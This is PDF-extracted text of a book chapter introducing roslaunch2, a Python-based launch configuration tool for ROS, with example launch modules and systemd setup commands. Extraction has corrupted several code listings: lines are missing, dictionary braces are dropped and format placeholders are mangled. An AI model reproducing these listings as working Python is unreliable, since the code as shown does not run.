the development (of the launch system) of ROS 2. It is compatible with all ROS ver-

sions providing roslaunch which is used as its backend. roslaunch2 has been tested

and heavily used on ROS Indigo, Jade, Kinetic, and Lunar; it also supports a “dry-

mode” to generate launch files without ROS being installed at all. The key features of

roslaunch2 are versatile control structures (conditionals, loops), extended support for

launching and querying information remotely, an easy-to-use API for also launching

from Python-based ROS nodes dynamically, as well as basic load balancing capabil-

ities for simulation setups. The chapter also contains various examples and detailed

explanations to help to get started launching ROS nodes using roslaunch2. The BSD

licensed code is fully documented with Sphinx and can be found on GitHub (https://

github.com/CodeFinder2/roslaunch2.).

Keywords Launching · Multi robot configuration · Distributed robotics ·

Roslaunch · Python · Simulation · Real hardware · Robot operating system

A. . Böckenkamp (B)

Department of Computer Science VII, Technical University of Dortmund, Otto-Hahn-Str. 16,

44227 Dortmund, Germany

e-mail: [email protected]

© Springer Nature Switzerland AG 2020

A. Koubaa (ed.), Robot Operating System (ROS), Studies in Computational

Intelligence 831, https://doi.org/10.1007/978-3-030-20190-6_7

165

[email protected]

166 A. Böckenkamp

1 Introduction

Given the rospy client API, ROS can already be considered as being “pythonic”.

Notably, many tools (like rqt, rostopic and roslaunch) are written in Python which

also suggests having a Python-based launch configuration system. In fact, when

reviewing the history of roslaunch’s syntax, keywords, and features, it becomes

obvious that more and more “Python related” functionality was added over time,

e. g, the $(eval <expression>) syntax since ROS Kinetic Kame.

However, as depicted in Fig. 1, only minor modifications have been made to

roslaunch in the recent past. The figure shows the time on the x- and the number

of modified code lines on the y-axis. It is therefore not expected to see new major

features in roslaunch, in particular considering the upcoming ROS 2. Even worse,

the maintainer of the ROS core packages even states that

The roslaunch implementation with all the recursion and context switching is fragile at best.

Other pull requests adding features [...] have not been merged since it is difficult to judge if

changes break the existing functionality., Dirk Thomas (Open Source Robotics Foundation)1

Unfortunately, the XML based launch files processed by the roslaunch tool are

limited in terms of functionality. For instance, roslaunch provides “substitution argu-

ments”2 like $(env ENVIRONMENT_VARIABLE) or $(find pkg) in launch

files which will be replaced by the corresponding content (here, the value of the

environment variable and the path to the named ROS package respectively) before

launching. All substitution arguments are only resolved locally despite the fact that

associated nodes may be launched remotely. In roslaunch2, for example, one can

not only resolve environment variables or file paths remotely but also automatically

make the resolution dependent on the finally used machine, a node is being launched

on. As another example, if and unless provide the restricted3 ability in roslaunch

to state conditions on the inclusion of XML tags and blocks.4 Unfortunately, creating

complex if(-elseif)-else chains is difficult and heavily impedes code readabil-

ity. Likewise, the <group> tag has a ns attribute which is documented as being

optional5 but it does not allow an empty name6 (e. g, to omit the group in case a

parameter is empty or not set). Again, in roslaunch2 ,, one can simply use Python

buildins to create conditional code while exploiting the full power of the Python

language.

To retain compatibility with ROS and to avoid reinventing the wheel, roslaunch2

still employs roslaunch as its backend for actually doing the launch. This is realized

by generating XML code from the provided launch module (Python) code. In fact and

in the absence of any programming errors in the launch code, the user will only see

1https://github.com/ros/ros_comm/pull/540#issuecomment-68298290.2http://wiki.ros.org/roslaunch/XML#substitution_args.3https://github.com/ros/ros_comm/pull/540.4http://wiki.ros.org/roslaunch/XML#if_and_unless_attributes.5http://wiki.ros.org/roslaunch/XML/group.6https://github.com/ros/ros_comm/issues/360.

[email protected]

roslaunch2: Versatile, Flexible and Dynamic Launch Configurations … 167

Fig. 1 Code frequency (additions and deletions per week) of the roslaunch directory inside the

ros_comm repository at https://github.com/ros/ros_comm/tree/lunar-devel/tools/roslaunch as of

10/04/2018: starting from 2014, only minor modifications have been made to the code base

roslaunch output upon launching nodes. To ease usability, the roslaunch2 command

line tool behaves very similar (if not equally) to roslaunch and mimics important flags.

Additionally, it comes with tab completion support for (Ba)sh-like shells similar to

roslaunch.

In the following, two key features are outlined justifying the usefulness of

roslaunch2 for the ROS community. First, Python’s if, elseif and else clauses

can be used to virtually make all parts of the launch code dependent on a conditional

whereby the condition itself can be arbitrarily complex. For instance, a node may

only be started if a certain package is installed or a specific hardware capability is

given. Moreover, sets of nodes can be pushed to a namespace depending on parame-

ters (of the launch code). However, if these parameter are not set or empty, the nodes

may still be started but without pushing them to the namespace. Second, loops are not

present in roslaunch at all. The ROS community’s typical workaround to this problem

was to write an additional shell script that generates the XML code based on some

parameter. Unfortunately, this makes the (XML) launch file a temporary byproduct

and the script “the launch file”. Furthermore, the maintainability of this workaround

is low since launching typically requires considering at least two files–the script and

the generated XML code (for inspection and debugging). In addition, it requires the

developer to always write code for the code generation. In roslaunch2 code, one can

now use Python’s for and while loop keywords to declare loops that spawn ROS

nodes of any complexity which is particularly useful for simulations where many

[email protected]

168 A. Böckenkamp

similar robots (= set of nodes) need to be started in a bunch. And in particular, only

a single file written in a single language (Python) captures all the launch related

functionality. Clearly, launch modules can be reused so that modularity of the launch

code is ensured.

roslaunch2 may thus be useful both in teaching and research because it encourages

students in getting started with ROS by just learning a single and widely used lan-

guage (Python) since ROS nodes and launch files can be written in that language and

the syntax of roslaunch is completely hidden (but can be revealed if desired). More-

over, simulation scenarios typically require more complex conditions and multiple

node instantiations which can simply be realized using the proposed tool.

The remainder of this chapter is organized as follows:

– In Sect. 2, the current launch system of ROS is briefly reviewed to motivate the

proposed package. It also compares roslaunch with roslaunch2 and shows side-

by-side examples and how to launch on the command line.

– Section 3 explains the underlying design concepts of roslaunch2 which also

includes the server architecture required for launching and resolving remotely.

– Section 4 then continues with a more detailed example of the capabilitites and

features of roslaunch2 that may be useful for getting started in more advanced

scenarios. The provided example code is explained in detail as a hands-on course.

– Section 5 presents special features of roslaunch2, namely setting up a system for

launching and resolving remotely and basic load balancing capabilities using the

MachinePool class.

– Finally, Sect. 6 completes with an explanation of possible errors and warnings that

may occur during the use of roslaunch2 and how they can be debugged.

For readers that are purely interested in using roslaunch2, the Sects. 4 and 6 are

mostly important for getting started quickly. Developers that are interested in adding

features to roslaunch2 should have a look at Sects. 2 and 3.

2 Overview and Limitations of Roslaunch

Recap that in ROS, processing of data is carried out by nodes (processing enitites)

that receive data via network or attached hardware devices, process it and possibly

publish results, making them available to other nodes. In the end, nodes are only

processes running on a certain (embedded) system. Complex robotic systems mostly

consist of multiple nodes so that “starting a robot” also requires to start all dedicated

nodes. ROS provides the roslaunch tool and its associated XML based language to

write configuration files that specify which nodes should be started on a machine,

what the parameters of these nodes are, how they are named, etc.

Listing 1.1 depicts a small exemplary launch file which starts the fake_lo-calization node (cf node tag) and also sets some parameters (cf param tags)

on the parameter server. Assuming that file is named rl-example.launch and

[email protected]

1 <?xml version ="1.0" encoding ="UTF -8" standalone ="yes"?>

2 <launch >

3 <arg name="ns" default="/" /> 

4 <group ns="$(arg ns)" > 

5 <node name="fake_localization" pkg="fake_localization"

6 type="fake_localization" respawn="false" output="screen" >

7 <param name="global_frame_id" value="$(arg ns)map" />

8 <param name="odom_frame_id" value="$(arg ns)odom" />

9 <param name="base_frame_id" value="$(arg ns)base_link" />

10 </node >

11 </group >

12 </launch >

Listing 1.1 Example of a simple launch file (XML) for roslaunch: the code starts the

fake_localization node within an optional namespace that may be passed to the launch file as

an argument. Additionally, parameters of the node are set.

stored inside the ROS package roslaunch2, the following command allows to

start it as usual in ROS:

$ roslaunch roslaunch2 rl-example.launch

Note that the dollar sign just indicates the beginning of the command prompt here

(common in many shells).

Many limitations of roslaunch have already been mentioned in Sect. 1. In particular

in Listing 1.1, if the ns (line 3) argument is empty to omit namespacing, the launch

would fail because the attribute cannot be empty. All these restrictions have raised

the idea of extending the XML syntax with a templating language like Genshi,7 Jinja8

or Mako9 (similar to the approach of using Xacro10 in describing Gazebo simulation

worlds). However, this causes a mixture of XML code with other languages and

heavily impedes code readability. For example, Mako allows one to embed pure

Python inside the XML code which is finally translated to XML code (more precisely,

it generates XML code). In contrast, Genshi, for instance, requires to use predefined

tags that enrich the functionality of XML. However, this provides less flexibility with

regard to adding more functionality (although Genshi can be extended with custom

tags but that is tedious). Moreover, the evaluation order of such embedded tags or

(foreign) code is a serious source of confusion because one would assume to be able

to access all elements of the pure XML code but that requires additional efforts.

For the aforementioned reasons, a different approach has been pursued in

roslaunch2 that uses pure Python code to describe the entire launch configuration.

Listing 1.2 shows an example of a so-called launch module for roslaunch2 which is

similar to the one depicted in Listing 1.1.

7https://genshi.edgewall.org/.8http://jinja.pocoo.org/.9http://www.makotemplates.org/.10http://wiki.ros.org/xacro.

[email protected]

170 A. Böckenkamp

1 #!/usr/bin/env python

2 # -*- coding: utf -8 -*-

3

4 from roslaunch2 import *

5

6 def main (** kwargs): # contains the entire code to launch

7 cfg = Launch () # root object of the launch hierarchy

8 # Process arguments (not command line arguments) for this launch module:

9 ns = kwargs[’namespace ’] if ’namespace ’ in kwargs else str()

10

11 g = Group(ns) # possibly empty namespace group

12

13 # Create a (cached) package reference:

14 pkg = Package(’fake_localization ’, True)

15 if pkg and pkg.has_node(’fake_localization ’, True): # only add if it exists

16 n = Node(pkg)

17 # Set coodinate frame IDs (on the ROS parameter server):

18 n += ServerParameter(’global_frame_id ’, ’map’)

19 n += ServerParameter(’odom_frame_id ’, tf_join(ns , ’odom’))

20 n += ServerParameter(’base_frame_id ’, tf_join(ns , ’base_link ’))

21 g += n # move node to namespace ’ns’

22

23 cfg += g

24 return cfg

Listing 1.2 Example of a launch module (written in Python) for roslaunch2: the script behaves

similar to Listing 1.1 but also checks if the package “fake_localization” and its associated node

actually exists. Additionally, the namespace is ommited if the namespace argument is not present

or empty.

The import at the beginning most conveniently makes all typically needed classes

and functions available in the current scope. The main() function (line 6) defines

the central entry point for the code to be launched. kwargs declares a dictionary

that optionally contains parameters that have been passed to this launch module

from another module. Here, namespace can be such a parameter. Note that this

is not a command line argument (although it may have originated from a command

line argument in another launch module). More information about reusability and

inclusion of launch modules is given in Sect. 4. All objects that comprise the launch

hierarchy (like in roslaunch) need to be added to a single Launch object (line 7)

which main() needs to return. That object is processed by the roslaunch2 tool and

used to generate XML code which is finally provided to roslaunch. Line 9 extracts

the namespace (if provided) from the dictionary and defaults to an empty string.

If ns is empty, the content of all objects added to the Group (line 11) is still

considered but without having a namespace. The Group class has an ignore_-content parameter that also quickly allows one to exclude the content of the group

completely. In line 14, a package reference to the ROS package fake_locali-zation is created which will not raise any exceptions if it is not found (hence,

the True passed as last parameter). If the package is available in the current ROS

installation and if it contains an equally named node “fake_localization” (line 15), a

Node class is instantiated to launch that node (line 16). This actually differs from the

launch file for roslaunch shown in Listing 1.1. Note that for demonstration purposes

and brevity, just the Package reference is passed to the Node class which works

[email protected]


(here) because internally, the node’s type is simply considered to be named like

the package as a shortcut. Clearly, all parameters can also be specified explicitly

if this does not apply. Additionally, parameters are added to the node (lines 18–

20) whose names are specific to the fake_localization node.11 Finally, the

node is added to the group (line 21), the group is added to the root launch object

(line 23), and the root object is returned (line 24). Also note that this code snippet uses

roslaunch2.utils.tf_join() to prepend the namespace ns to the odomand base_link frame IDs to form unique names among multiple robots. It is the

recommended way to ensure consistency.

The code can be started similarly to Listing 1.1, again assuming it is saved in a

file named rl2-example.pyl located in the roslaunch2 package:

$ roslaunch2 roslaunch2 rl2-example.pyl

The extension .pyl has been selected to distinguish between normal Python mod-

ules (.py) and to indicate that the file contains a “launch module” (as compared to a

launch file for roslaunch). This also make tab completion support more convenient.

3 Design Internals of roslaunch2

This section details the (internal) design of roslaunch2 : Section 3.1 explains the inter-

nal code design and Sect. 3.2 presents the server architecture that is used for remote

resolving. Figure 2 visualizes the different stages that are executed when a launch

module is handled. After providing the launch module code, roslaunch2 processes

all added EnvironmentVariable objects as a preprocessing step to move them

down to the nodes that apply to them (implicit addition). If a node already contains

such a variable (added explicitly using the API) it will not be overwritten. The pre-

processing is needed to allow resolving them later for the nodes and their associated

machine they may run on. During the (XML) code generation step, local and remote

resolving of environment variables and (file) paths happens as well as the assignment

of the machine, a node will finally be started on. More information on how to launch

remotely as well as on how to setup a system for remote launching is described in

Sects. 4 and 5.1. Finally, when the XML code has been generated, it is forwarded

(via a temporary file) to roslaunch and after the latter has terminated, a cleanup is

performed to remove the temporary file.

Clearly, using roslaunch as a backend for roslaunch2 superimposes some restric-

tions on adding new features to the launch system since in the end, everything need

to be mapped to existing features of roslaunch. However, the current implementation

just exploits the basic capabilities of roslaunch and having the server infrastructure of

roslaunch2 (as described in detail in Sect. 3.2) also allows to implement new features

that cannot be mapped to roslaunch itself.

11http://wiki.ros.org/fake_localization.

[email protected]

172 A. Böckenkamp

Fig. 2 Stages of processing and launching a launch module inroslaunch2: the “launch module”

on the left side of thefigure serves as the input for the tool (box on the right side). Internally, after

processing possible environment variables, the XML code generation takes place. Meanwhile, final

machines are assigned to nodes and local and remote resolution of paths and variables happens.

Finally, the resulting XML code is fed into roslaunch as a temporary file which is deleted (cleanup)

once roslaunch terminates

3.1 Internal Architecture

Since roslaunch2 somehow mimics and extends the functionality of roslaunch, a class

hierarchy has been developed and implemented in Python that reflects and enhances

the tag hierarchy of roslaunch while also applying concepts of object-oriented pro-

gramming, see Fig. 3. The GeneratorBase class represents the base class for

all classes that have a XML representation. The GeneratorBase.generate()method can be invoked to generate the XML code for that element. Likewise, there

are objects that can contain other objects. For instance, a Node may contain various

instances of the Parameter (base) class. They are reflected in the roslaunch2 code

base with the Composable and Composer interface classes respectively. Classes

that can be added to a Composer are inherited from Composable. Accordingly,

classes inherited from Composer need to specify on constructions what set of types

can be added to them. Adding an instance to another instance creates a deep copy so

that the added instance can be modified and reused afterwards.

Examples for classes that can contain other classes are Launch (can contain all

other objects), Group (dito), and Node (can contain Parameter and Environ-mentVariable), cf Fig. 3. Remapable implements the remapping functionality

of roslaunch. Each class representing an remapable entity in roslaunch is derived

from this class, e. g, the Group class.

In contrast to roslaunch which has no (tag based) manifestation of a “package”,

roslaunch2 has a Package class which serves as a resource locator to find any file

or directory in a ROS package, including other launch modules that can be included

in the current launch module. Because lookups in the file system are rather slow,

all such accesses are accelerated by a cache that is implemented in the Packageclass (and also used remotely, cf Sect. 3.2). Speedups of more than 275 % have been

observed (in a rather large launch module) with the cache depending on the structure

of queries. Whenever a file, directory or package is requested, the file system is

crawled and the result is put into the cache and returned. However, if the requested

key (i. e., name of file, directory or package) is already in the cache, the cached entry

[email protected]


Fig. 3 Excerpt of the class diagram of important classes in the roslaunch2 code base;

GeneratorBase, Composable, and Composer (gray) are interfaces that reflect properties

of roslaunch XML tags. Keep in mind that Package is not derived from any of these classes since

it has no equivalent in roslaunch and also notice that command line arguments are represented with

instances of the LaunchParameter class (both not shown here).

is returned without having the need to access the file system. Thus, in the end there

will not be any $(find pkg) fragments in the resulting XML code.

3.2 Server Architecture

As already explained in Sect. 3, features of roslaunch2 need to be mapped to roslaunch

which restricts the flexibility in adding new functionality to the launch system. This

motivates the need to add an additional layer that also serves as a leverage point

on remote hosts to implement remote features. In particular, local functionality can

all be realized with Python. For that reason, roslaunch2 follows a way of allowing

to reuse functionality already implemented in Python remotely as this is the most

natural way of making it available on remote systems (robots).

A library that facilitates using Python code remotely is Pyro12 (Python Remote

Objects). In a nutshell, Pyro “enables you to build applications in which objects can

talk to each other over the network, with minimal programming effort. You can just

use normal Python method calls to call objects on other machines”. The downside

of this approach is that it requires a (Pyro dedicated) name server (similar to a

DNS) as well as a running instance of a program–the roslaunch2 server process also

12https://pythonhosted.org/Pyro4/.

[email protected]

174 A. Böckenkamp

provided by the proposed package–that replies to client requests. More specifically,

in roslaunch2 a launch module requesting information remotely somehow acts as a

client when it is processed by the roslaunch2 tool. Another (“server”) object then

needs to listen to such requests and gathers the required information on the remote

system which is then send back over the network as part of the launch process. Custom

environment variables are added to a auto-generated environment loader script on

the remote machine which also automatically adds all environment variables that are

present on the (remote) roslaunch2 server’s shell. This also makes available all ROS

functionality (like package crawling) if the roslaunch2 server has been correctly

started in a shell that also sources the ROS installation and possible other required

workspaces.

For instance, a launch module may ask for therosconsole.configfile whose

path need to be stored in the ROSCONSOLE_CONFIG_FILE environment variable.

All this needs to be done remotely, i. e., finding the remote path of that file as well

as setting the environment variable remotely. In roslaunch2, a launch module can

specify this by instantiating an EnvironmentVariable object that is given a

Path object as its value:

p = Path(’/config/rosconsole.cfg’, Package(’my_package’))ev = EnvironmentVariable(’ROSCONSOLE_CONFIG_FILE’, p)

TheEnvironmentVariableobject is then, for example, (implicitly or explicitly)

added to a Node object which in turn, is said to be launched on a certain Machineobject, the remote system S. ThePathobject will then invoke aPackage.find()call on S (remotely) for the given key (“rosconsole.config” here) inside the

roslaunch2 server running on S. Again, all this happens during a launch (and before

invoking roslaunch) so that starting a large set of node remotely that require many

information to be resolved prolongs the launch process slightly.

Remote Python objects in Pyro require to have a unique address that are used

by the client (caller issuing the remote procedure call) to contact that corresponding

object on the correct machine. roslaunch2 uses the following format for the object

address generation to ensure unique addresses across all robots that may even be

used by different users simultaneously (most likely in a simulation setup):

PYRONAME: ip_address . user_name . fully_qualified_class_name

Boxes indicate variables whose value depend on the actual system, user name and

class name. The existing functionality of roslaunch2 can be extended by adding

custom classes which can simply be imported in the used launch modules with the

known Python keyword import. However, to make such functionality also available

remotely, such classes should be loaded as a plugin inside the roslaunch2 server. This

can be accomplished by setting the ROSLAUNCH2_PLUGINS environment variable

to the directory that contains the plugins before starting the server. A very simple

example plugin is also given in the “plugins” directory of the roslaunch2 package.

All classes of all Python (.py) files in the plugin directory are automatically loaded

as remote-callable whereby the plugin path contained in ROSLAUNCH2_PLUGINSis not part of the registerd fully_qualified_class_name. More information

[email protected]


and details on how the Pyro name server as well as the roslaunch2 server need to be

set up is explained in Sect. 5.1.

Finally, as described for the local case in Sect. 3, temporary files (especially the

auto-generated environment loader script) are removed remotely as well, as part of

the cleanup process (see Fig. 2).

4 A More Complex Example

This section demonstrates a more complex example of roslaunch2 whose code is

depicted in Listing 1.3. It uses the concepts of launch module inclusion (reusability),

remote resolving and launching, loops and conditionals, and command line argument

processing. Additionally, two useful command line flags of roslaunch2 are presented.


2 # -*- coding: utf -8 -*-

3

4 from roslaunch2 import *

5

6 def main (** kwargs):

7 pkg = Package(’my_ros_package’)

8 root = Launch()

9 root += EnvironmentVariable(’ROSCONSOLE_CONFIG_FILE ’,

10 Path(’/config/rosconsole.cfg’, pkg))

11

12 # Define command line arguments:

13 parser = LaunchParameter(description=’Start my setup of my_ros_package.’)

14 parser.add(’sim’, ’Select simulator or hardware ’, ’stage’)

15 parser.add_flag(’headless ’, ’Run simulator without GUI?’, False , ** kwargs)

16 parser.add(’nav_stack ’, ’Type of navigation stack’, ’move_base ’, ** kwargs)

17 # ...

18 args , _ = parser.parse_known_args ()

19

20 # Generate dictionary with robot configuration

21 config = pkg.use(’config_generator.py’, args=args)

22

23 root.add(Package.include(’my_other_ros_package ’, ’remap_to_instance.pyl’))

24 instance = Group(args.instance_id) # gets ignored if instance_id is empty

25

26 # Time to give nodes until they’ve exited gracefully:

27 root += ServerParameter(ros_join(args.instance_id ,

28 ’escalation_timeout’, True), 5.0)

29

30 # Start simulation or hardware:

31 machines =

32 if args.sim == ’hardware ’:

33 root += pkg.use(’start_hardware.pyl’, args=args)

34 # Connect to ROS on remote machines:

35 machines = pkg.use(’/config/hardware /:s/ machines.py’

36 .format(args.world), args=args , ** kwargs)

37 elif args.sim != ’none’:

38 root += pkg.use(’start_sim.pyl’, args=args)

39

40 # Start localization and motion planner for each robot:

41 for robot in config[’robots’]:

42 nav_args =

43 ’namespace ’: robot[’name’],

44 ’initial_pose’: robot[’pose’],

45 ’local_planner ’: args.local_planner ,

46 ’global_planner’: args.global_planner ,

[email protected]

176 A. Böckenkamp

47 ’world’: args.world ,

48 ’robot_type’: robot[’simulation’],

49 ’args’: args

50 # Localization:

51 localization = None

52 if args.localization != ’none’:

53 localization = pkg.use(’/config/localization /:s.py’

54 .format(args.localization), ** nav_args)

55 # Motion planner:

56 nav_stack = pkg.use(’/config/nav_stack /:s.py’

57 .format(args.nav_stack), ** nav_args)

58 if robot[’name’] in machines:

59 m = machines[robot[’name’]]

60 if ’default ’ in m:

61 if not localization is None:

62 localization.start_on(m[’default ’])

63 nav_stack.start_on(m[’default ’])

64 if not localization is None:

65 instance += localization

66 instance += nav_stack

67

68 # Start map server:

69 map_server = Node(’map_server’, args=Path(’/world /:s/map.yaml’

70 .format(config[’world’][’name’]), pkg))

71 map_server += ServerParameter(’frame_id ’, ’map’)

72 instance += map_server

73

74 # Start RViz with predefined config file:

75 if not args.headless:

76 rviz = pkg.use(’start_rviz.pyl’, args=args)

77 rviz.start_on(Localhost) # force to start locally

78 root += rviz

79

80 root += instance

81 return root

Listing 1.3 A more complex example of the features of roslaunch2 (incomplete for brevity)

The code uses many concepts that have already been explained along with

Listing 1.2 like the import and the main() function. The addition of the envi-

ronment variable in line 9 is automatically pushed to all nodes (not defining the

same variable) and the actual value is given by the Path instance. In lines 13–

18, command line arguments are defined and parsed which can then be accessed

using the args variable. Basically, LaunchParameter is just a wrapper around

argparse.ArgumentParser for convenience which also adds the functional-

ity of collecting all command line arguments (including those of included launch

modules) to allow querying for an overview of all these parameters. It can be done

using the –ros-args flag also present in roslaunch.

For this particular example, a dedicated configuration generator is used which

generates additional data based on the provided command line flags (cf line 21).

This is also an example of how to use roslaunch2 to reuse and include another

Python file. It is similar to line 23, where the static method Package.include()is used. Both methods Package.use() and Package.include() return a

Launch object which can be added to another launch hierarchy. Line 27 adds a

global parameter to the ROS parameter server, unlike the node-local parameters as

shown in Listing 1.2. In lines 31–38, certain nodes are launched on real hardware

(first if) or as part of a simulator (elsif). Next (see lines 41–66), for each robot that

is specified on the command line, the navigation stack and a localization algorithm

[email protected]


is started in the body of the for loop. Listing 1.2 is an example for the referenced

localization launch module, in case “fake_localization” is selected. Notably, both

nodes are started on a specific machine (lines 62 and 63) using the start_on()method if there’s a machine given in the configuration. Also note that RViz is only

started if the setup does not run in headless mode (line 75) and that the RViz node is

forced to be launched locally (on Localhost) which makes sense since graphical

output is most likely not available remotely.

Finally, notice that the generated XML code can be inspected by adding the

–dry-run flag upon invoking roslaunch2.

5 Extended Functionalities

Within this section, the required setup for enabling a system to launch nodes remotely

is presented (see Sect. 5.1). This also includes explanations on how to use the systemd

daemon to start all required tools upon boot. Section 5.2 then briefly explains how to

use roslaunch2 inside a Python-based ROS node to launch dynamically.

5.1 Starting and Resolving Remotely

First of all it is important to mention that roslaunch2 does not require any specific

setup if the remote functionality (resolving, launching) is not required. Elsewise, if

such functionality is desired, two tools need to be configured:

– the Pyro name server (once per network/setup) and

– the roslaunch2 server (on each system/robot a node should be launched on).

The Pyro name server is responsible for resolving Python remote objects, i. e., getting

their unique current address as explained in Sect. 3.2. The roslaunch2 server allows

to access information remotely on a robot where a node should be started on. For

instance, assume that a node requires a specific value of an environment variable.

Since this value must be retrieved remotely and, in particular, before actually starting

the node, the roslaunch2 server running on that remote robot sends this information

when requested by the roslaunch2 command (i. e., during the launch process).

In principle, it is sufficient to start the Pyro name server on any available system

in the subnet/network where all robots are connected to. However, it should not be

run multiple times in a subnet as this causes a partitioned name space which is not

desirable and may prevent proper resolution of remote Python objects. Using

$ python -m Pyro4.naming -n $(hostname -I | grep -o ’ˆ\S*’)

will start the server in the current command prompt. A systemd entry can also be

added for the name server as described in the following for the roslaunch2 server.

This will start the name server automatically upon booting that system/robot.

[email protected]

178 A. Böckenkamp

In particular for the roslaunch2 server process, it is desirable to set up the robots

so that the server is started automatically when they are turned on. Because the

server needs to have access to the ROS installation, it must be started in a login

shell auxiliary script (that sources all relevant ROS setup scripts) which, in turn,

is started as a systemd service. On Ubuntu, this can simply be achieved by adding

#!/bin/bash -l as the magic line (shebang) to the auxiliary script. In order to

create the appropriate service unit for the systemd daemon, the file

config/systemd/roslaunch2_server.service

inside the roslaunch2 package needs to be edited according to the specific system

setup. If a service unit has also been configured to launch the Pyro name server as

mentioned previously, the roslaunch2 server needs to depend on that service, i. e.

Wants=pyro_name_server.serviceAfter=pyro_name_server.service

whereby pyro_name_server.service is the service unit file name. Other-

wise, it needs to depend on the system’s network availability:

Wants=network-online.targetAfter=network.target network-online.target

The following commands then activate the service unit:

sudo cp $(rospack find roslaunch2)/config/systemd/

roslaunch2_server.service /etc/systemd/system/

sudo systemctl enable roslaunch2_server.service

sudo systemctl start roslaunch2_server.service

sudo reboot

Logging output of the services can be viewed with sudo journalctl -ruroslaunch2_server. More detailed information and tutorials (including a

description for using upstart) as well as template files can be found in the config/directory of the roslaunch2 package.

roslaunch2 also offers (yet basic) load balancing capabilities by means of the

MachinePool class. It allows one to add a set of machines and to specify a strategy

for machine selection. Currently, two strategies are implemented: least load average

and least memory usage. Instead of assigning a node a specific machine, an instance

of the MachinePool class (i. e., a set of machines) can be used, see Listing 1.4.

When the node is about to be started, all machines in the pool are analyzed with regard

to the selected strategy and the optimum is used for execution of that node. It is

important to remark that in the default case where many nodes are started at once,

this is not particularly useful since no (or only a few) nodes are started so that the

machine analysis is not very meaningful. However, if nodes should be started later

or even dynamically as described in Sect. 5.2, selecting a more appropriate machine

is desirable.

[email protected]


1 from roslaunch2 import *2 # ...3 mp = MachinePool(MachinePool.Strategy.LeastLoadAverage)4 # Fill "mp" with the set of machines you would like to use

...5 mp += Machine(’pluto ’, ’user_name ’)6 mp += Machine(’jupiter ’, ’user_name ’)7

8 n = Node(’rostopic ’)9 n.start_on(mp)10 # ...

Listing 1.4 Code snippet demonstrating the use of the MachinePool class.

5.2 Launching Nodes Dynamically

Listing 1.5 shows an example of a ROS node that uses the roslaunch2 API to start

another node dynamically (“fake_localization” here). A practical use case may be

the launching of localization by means of AMCL after a map has been generated

using a SLAM algorithm first.

After initializing the Python-based ROS node (line 9), a launch module is refer-

enced using the Package class (line 14). Notice here that the file extension (.pyl)

can be omitted because roslaunch2 will automatically append it. As an alternative to

this approach, the launch hierarchy can also be build up instantaneously inside (or

as part of) the code of the node. However, realize that this causes a mixture of node

and launch code.

Once the launch hierarchy has been created, rl2.start() actually per-

forms the launching within the context of the current node (see line 15), i. e.,

the control flow is blocked until the launch terminates. For asynchronous launch-


2 # -*- coding: utf -8 -*-

3

4 import roslaunch2 as rl2

5 import rospy

6

7 if __name__ == ’__main__ ’:

8 # Initialize the node:

9 rospy.init_node(’my_python_ros_node ’)

10

11 # Do something in your node here ...

12

13 # Launch another node (fake_localization):

14 lm = rl2.Package.include(’roslaunch2 ’, ’rl2 -example ’, namespace=’my_robot ’)

15 rl2.start(lm) # launch content synchronously

Listing 1.5 Example on how to start a node dynamically from another (Python) node using

the roslaunch2 API. Alternatively to starting synchronously using roslaunch2 .start(),

a launch may also be asynchronous using roslaunch2 .start_async() which spawns a

new process.

[email protected]

180 A. Böckenkamp

ing, roslaunch2 provides the start_async() method that does not block exe-

cution. The executed launch module can then be controlled using the returned

multiprocessing.Process instance.

roslaunch2 also provides hook points right before and after launching.

roslaunch2 .on_initialize.subscribe() allows to install a callback

that is invoked before roslaunch is called. Likewise, the methodroslaunch2 .on_terminate.subscribe() allows to set callbacks that are being triggered upon

termination.

6 Errors, Debugging and Logging

roslaunch2 tries to hide as many roslaunch related errors as possible. That means that

it tries to detect and reports any errors in advance so that errors reported by roslaunch

are less likely (although still possible). Additionally, many classes have type and

consistency checks as well as “shortcuts” that simplify their use. For instance,

Node.debug() allows to simply enable a debugger for a particular node using

gdb. Error reporting also applies to remotely executed code which simplifies the

debugging of related errors.

It may happen that objects are not added to the launch hierarchy. Thus, creating

such “dummy objects” has no effect on the final launch. roslaunch2 outputs a warning

to indicate such undesired behavior. It also tests for and warns about parameters being

added multiple times to the same node to not rely on the “last setting wins” strategy

of roslaunch which may be a source of confusion.

roslaunch2 has a small logger module which provides basic functions (similar

to the severity levels of rosconsole13) for printing output during a launch. Most

notably, in case of errors that require the abortion of a launch, logger.criti-cal() should be called which terminates roslaunch2. As a side note, the Launchclass supports an optional deprecation message parameter on construction. If that

parameter is set, the associated launch hierarchy is considered deprecated and the

provided message is printed. This may be useful in case “old” launch modules are

just kept for compatibility.

7 Conclusion

This chapter introduced the novel roslaunch2 package with its API and tools to write

launch code for the Robot Operating System in Python. It is superior to roslaunch in a

sense that it offers conditionals and loop constructs as provided by Python as well as

extended functionality to run nodes remotely. Moreover it just requires developers to

13http://wiki.ros.org/rosconsole.

[email protected]


use a single and widely used programming language which is convenient for novices

because it flattens the learning curve (CMake/catkin and Python are sufficient to get

started).

Since roslaunch2 is based on roslaunch, the rather complex layer of functional-

ity related to remote launching was required in order to overcome the limitations

of roslaunch. The major disadvantage of this is that two tools (Pyro name server,

roslaunch2 server) need to be configured and running in order to use the remote

functionality. Clearly, this also creates an additional source for errors. Furthermore,

if the old roslaunch architecture is modified (although not expected), roslaunch2 may

require modifications, too.

Adrian Böckenkamp received the B.Sc. and M.Sc. degrees in computer science all from the

Technical University of Dortmund, Germany, in 2011 and 2013 respectively. Since 2013, he is a

Ph.D. student at the Department of Computer Science VII at the TU Dortmund. His main research

interests include (mobile) robotics, signal analysis, image processing, pattern recognition, and

their application in embedded systems for (i.a.) human assistance, (autonomous) robotics, and pro-

cess automation.

[email protected]

Penetration Testing ROS

Bernhard Dieber, Ruffin White, Sebastian Taurer, Benjamin Breiling,

Gianluca Caiazza, Henrik Christensen and Agostino Cortesi

